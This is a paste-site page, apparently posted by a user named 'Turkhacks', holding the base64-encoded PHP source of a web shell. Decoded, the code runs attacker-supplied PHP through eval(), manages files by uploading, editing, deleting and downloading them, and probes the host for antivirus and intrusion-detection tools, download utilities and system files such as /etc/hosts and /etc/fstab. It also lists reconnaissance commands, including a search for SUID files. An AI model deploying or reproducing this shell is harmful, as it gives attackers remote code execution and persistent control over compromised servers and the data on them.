Untitled

From Turkhacks, 4 Months ago, written in Plain Text, viewed 138 times.
URL http://paste.security-portal.cz/view/35eb05bd Embed
Download Paste or View Raw
  1. PD9waHAgDQok4pabID0gIjkzOTU5MTMzMTQxNmU4ZTAwOTc5ZmZlZWMxMTBkN2VjIjsgLy8gZGVmYXVsdCBwYXNzIDogDQok4paYID0gdHJ1ZTsgDQok4pacID0gJ1VURi04JzsgDQok4paaID0gJ0ZpbGVzTWFuJzsgDQok4paZID0gbWQ1KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7IA0KaWYgKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0pKSB7IA0KICAgIHByb3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5IiwgJOKWmSk7IA0KfSANCmlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkgDQogICAgJF9QT1NUWydjaGFyc2V0J10gPSAk4pacOyANCmlmICghaXNzZXQoJF9QT1NUWyduZSddKSkgeyANCiAgICBpZihpc3NldCgkX1BPU1RbJ2EnXSkpICRfUE9TVFsnYSddID0gaWNvbnYoInV0Zi04IiwgJF9QT1NUWydjaGFyc2V0J10sIGRlY3J5cHQoJF9QT1NUWydhJ10sJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdKSk7IA0KICAgIGlmKGlzc2V0KCRfUE9TVFsnYyddKSkgJF9QT1NUWydjJ10gPSBpY29udigidXRmLTgiLCAkX1BPU1RbJ2NoYXJzZXQnXSwgZGVjcnlwdCgkX1BPU1RbJ2MnXSwkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0pKTsgDQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgJF9QT1NUWydwMSddID0gaWNvbnYoInV0Zi04IiwgJF9QT1NUWydjaGFyc2V0J10sIGRlY3J5cHQo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ICRwYXRoID0gZXgoJ3doaWNoICcgLiAkcCk7IA0KICAgIGlmKCFlbXB0eSgkcGF0aCkpIA0KICAgICAgICByZXR1cm4gJHBhdGg7IA0KICAgIHJldHVybiBmYWxzZTsgDQp9IA0KZnVuY3Rpb24gYWN0aW9uUkMoKSB7IA0KICAgIGlmKCFAJF9QT1NUWydwMSddKSB7IA0KICAgICAgICAkYSA9IGFycmF5KCANCiAgICAgICAgICAgICJ1bmFtZSIgPT4gcGhwX3VuYW1lKCksIA0KICAgICAgICAgICAgInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCksIA0KICAgICAgICAgICAgIlZFUlNJT04iID0+IFZFUlNJT04sIA0KICAgICAgICAgICAgInNhZmVtb2RlIiA9PiBAaW5pX2dldCgnc2FmZV9tb2RlJykgDQogICAgICAgICk7IA0KICAgICAgICBlY2hvIHNlcmlhbGl6ZSgkYSk7IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7IA0KICAgIH0gDQp9IA0KZnVuY3Rpb24gcHJvdG90eXBlKCRrLCAkdikgeyANCiAgICAkX0NPT0tJRVska10gPSAkdjsgDQogICAgc2V0Y29va2llKCRrLCAkdik7IA0KfSANCmZ1bmN0aW9uIGFjdGlvblNlY0luZm8oKSB7IA0KICAgIGhhcmRIZWFkZXIoKTsgDQogICAgZWNobyAnPGgxPlNlcnZlciBTZWN1cml0eSBJbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7IA0KICAgIGZ1bmN0aW9uIHNob3dTZWNQYXJhbSgkbiwgJHYpIHsgDQogICAgICAgICR2ID0gdHJpbSgkdik7IA0KICAgICAgICBpZigkdikgeyANCiAgICAgICAgICAgIGVjaG8gJzxzcGFuPicgLiAkbiAuICc6IDwvc3Bhbj4nOyANCiAgICAgICAgICAgIGlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKSANCiAgICAgICAgICAgICAgICBlY2hvICR2IC4g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GVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsgDQogICAgICAgICAgICBpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7IA0KICAgICAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOyANCiAgICAgICAgICAgICAgICAkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsNCiAgICAgICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsgDQogICAgICAgICAgICAgICAgZWNobyAnPGJyPic7IA0KICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7IA0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICTilp8pIA0KICAgICAgICAgICAgICAgICAgICBpZih3aGljaCgk4pafKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJOKWnzsgDQogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7IA0KICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7IA0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJOKWnykgDQogICAgICAgICAgICAgICAgICAgIGlmKHdoaWNoKCTilp8pKSANCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAk4pafOyANCiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOyANCiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOyANCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJOKWnykgDQogICAgICAgICAgICAgICAgICAgIGlmKHdoaWNoKCTilp8pKSANCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAk4pafOyANCiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7IA0KICAgICAgICAgICAgICAgIGVjaG8gJzxici8+JzsgDQogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7IA0KICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7IA0KICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnTW91bnQgb3B0aW9ucycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9mc3RhYicpKTsgDQogICAgICAgICAgICB9IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICBzaG93U2VjUGFyYW0oJ09TIFZlcnNpb24nLGV4KCd2ZXInKSk7IA0KICAgICAgICBzaG93U2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLCBpY29udignQ1A4NjYnLCAnVVRGLTgnLGV4KCduZXQgYWNjb3VudHM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zIERvbmUgLTwvZm9udD48L3NwYW4+JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIGVuZGZvcmVhY2g7DQogfQ0KIGZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7IA0KICAgIGlmKCBpc3NldCgkX1BPU1RbJ3AxJ10pICkgDQogICAgICAgICRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOyANCiAgICBpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7IA0KICAgICAgICBpZihAaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOyANCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsgDQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7IA0KICAgICAgICAgICAgICAgICR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7IA0KICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiAiIC4gJHR5cGUpOyANCiAgICAgICAgICAgIH0gZWxzZSANCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7IA0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsgDQogICAgICAgICAgICBpZigkZnApIHsgDQogICAgICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmcCkpIA0KICAgICAgICAgICAgICAgICAgICBlY2hvIEBmcmVhZCgkZnAsIDEwMjQpOyANCiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9ZXhpdDsgDQogICAgfSANCiAgICBpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsgDQogICAgICAgIGlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsgDQogICAgICAgICAgICBpZigkZnApIHsgDQogICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gImVkaXQiOyANCiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgaGFyZEhlYWRlcigpOyANCiAgICBlY2hvICc8aDE+RmlsZSBUb29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7IA0KICAgIGlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7IA0KICAgICAgICBlY2hvICdGaWxlIG5vdCBleGlzdHMnOyANCiAgICAgICAgaGFyZEZvb3RlcigpOyANCiAgICAgICAgcmV0dXJuOyANCiAgICB9IA0KICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsgDQogICAgaWYoISR1aWQpIHsgDQogICAgICAgICR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsgDQogICAgICAgICRnaWRbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKTsgDQogICAgfSBlbHNlICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pKTsgDQogICAgZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycyhAYmFzZW5hbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5TaXplO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bJ3AxJ10pIC4gJ1wnLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7IA0KICAgIGVjaG8gJzxicj48YnI+JzsgDQogICAgc3dpdGNoKCRfUE9TVFsncDInXSkgeyANCiAgICAgICAgY2FzZSAndmlldyc6IA0KICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+JzsgDQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOyANCiAgICAgICAgICAgIGlmKCRmcCkgeyANCiAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsgDQogICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlY2hvICc8L3ByZT4nOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSAnaGlnaGxpZ2h0JzogDQogICAgICAgICAgICBpZiggQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7IA0KICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsgDQogICAgICAgICAgICAgICAgJG9SYiA9IEBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7IA0KICAgICAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkb1JiKS4nPC9kaXY+JzsgDQogICAgICAgICAgICB9IA0KICAgIC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gICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7IA0KICAgICAgICAgICAgICAgICR0aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pOyANCiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSBzdWJzdHIoJF9QT1NUWydwMyddLDEpOyANCiAgICAgICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCJ3Iik7IA0KICAgICAgICAgICAgICAgIGlmKCRmcCkgeyANCiAgICAgICAgICAgICAgICAgICAgQGZ3cml0ZSgkZnAsJF9QT1NUWydwMyddKTsgDQogICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NhdmVkITxicj48c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD4nOyANCiAgICAgICAgICAgICAgICAgICAgQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsXCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsgDQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOyANCiAgICAgICAgICAgIGlmKCRmcCkgeyANCiAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsgDQogICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+JzsgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgJ2hleGR1bXAnOiANCiAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7IA0KICAgICAgICAgICAgJG4gPSAwOyANCiAgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOyANCiAgICAgICAgICAgICRsZW4gPSBzdHJsZW4oJGMpOyANCiAgICAgICAgICAgIGZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgeyANCiAgICAgICAgICAgICAgICAkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOyANCiAgICAgICAgICAgICAgICBzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsgDQogICAgICAgICAgICAgICAgICAgIGNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7IA0KICAgICAgICAgICAgICAgICAgICBjYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOyANCiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsgDQogICAgICAgICAgICAgICAgICAgIGNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7IA0KICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICRuKys7IA0KICAgICAgICAgICAgICAgIGlmICgkbiA9PSAzMikgeyANCiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOyANCiAgICAgICAgICAgICAgICAgICAgaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30gDQogICAgICAgICAgICAgICAgICAgICRoWzFdIC49ICc8YnI+JzsgDQogICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyPjx0cj48dGQgYmdjb2xvcj0jMjAyODMyPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMDYwYTEwPjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMjAyODMyPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgJ3JlbmFtZSc6IA0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgeyANCiAgICAgICAgICAgICAgICBpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpIA0KICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nOyANCiAgICAgICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJy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5IiA9PiAiZGlyIiwgDQogICAgICAgICJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLCANCiAgICAgICAgIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsIA0KICAgICAgICAiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsIA0KICAgICAgICAiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwgDQogICAgICAgICJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLCANCiAgICAgICAgIlNob3cgY29tcHV0ZXJzIiA9PiAibmV0IHZpZXciLCANCiAgICAgICAgIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsIA0KICAgICAgICAiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiIA0KICAgICk7IA0KZWxzZSANCiAgICAkYWxpYXNlcyA9IGFycmF5KCANCiAgICAgICAgICAiTGlzdCBkaXIiID0+ICJscyAtbGhhIiwgDQogICAgICAgICJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLCANCiAgICAgICAgICAic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwgDQogICAgICAgICJwcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsIA0KICAgICAgICAiRmluZCIgPT4gIiIsIA0KICAgICAgICAgICJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsIA0KICAgICAgICAgICJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0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lcigpOyANCn0gDQpmdW5jdGlvbiBhY3Rpb25GaWxlc01hbigpIHsgDQogICAgaWYgKCFlbXB0eSAoJF9DT09LSUVbJ2YnXSkpIA0KICAgICAgICAkX0NPT0tJRVsnZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydmJ10pOyANCiAgICAgDQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsgDQogICAgICAgIHN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsgDQogICAgICAgICAgICBjYXNlICd1cGxvYWRGaWxlJzogDQogICAgICAgICAgICAgICAgaWYgKCBpc19hcnJheSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10pICkgeyANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoICRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSBhcyAkaSA9PiAkdG1wTmFtZSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wTmFtZSwgJF9GSUxFU1snZiddWyduYW1lJ11bJGldKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgY2FzZSAnbWtkaXInOiANCiAgICAgICAgICAgICAgICBpZighQG1rZGlyKCRfUE9TVFsncDInXSkpIA0KICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIGNhc2UgJ2RlbGV0ZSc6IA0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgeyANCiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsgDQogICAgICAgICAgICAgICAgICAgICRkaCAgPSBvcGVuZGlyKCRwYXRoKTsgDQogICAgICAgICAgICAgICAgICAgIHdoaWxlICggKCTilp8gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAk4pafID0gJHBhdGguJOKWnzsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIChiYXNlbmFtZSgk4pafKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJOKWnykgPT0gIi4iKSApIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOyANCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJOKWnyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0eXBlID09ICJkaXIiKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJOKWnyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCTilp8pOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgY2xvc2VkaXIoJGRoKTsgDQogICAgICAgICAgICAgICAgICAgIEBybWRpcigkcGF0aCk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkgDQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsgDQogICAgICAgICAgICAgICAgICAgICAgICAkZiA9IHVybGRlY29kZSgkZik7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRmKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRmKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGYpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICBjYXNlICdwYXN0ZSc6IA0KICAgICAgICAgICAgICAgIGlmKCRfQ09PS0lFWydhY3QnXSA9PSAnY29weScpIHsgDQogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpeyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQG9wZW5kaXIoJGMuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJGMuJHMsICRkLiRzKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgDQogICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRfQ09PS0lFWydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnbW92ZScpIHsgDQogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpeyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQG9wZW5kaXIoJGMuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZihAaXNfZmlsZSgkYy4kcykpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjL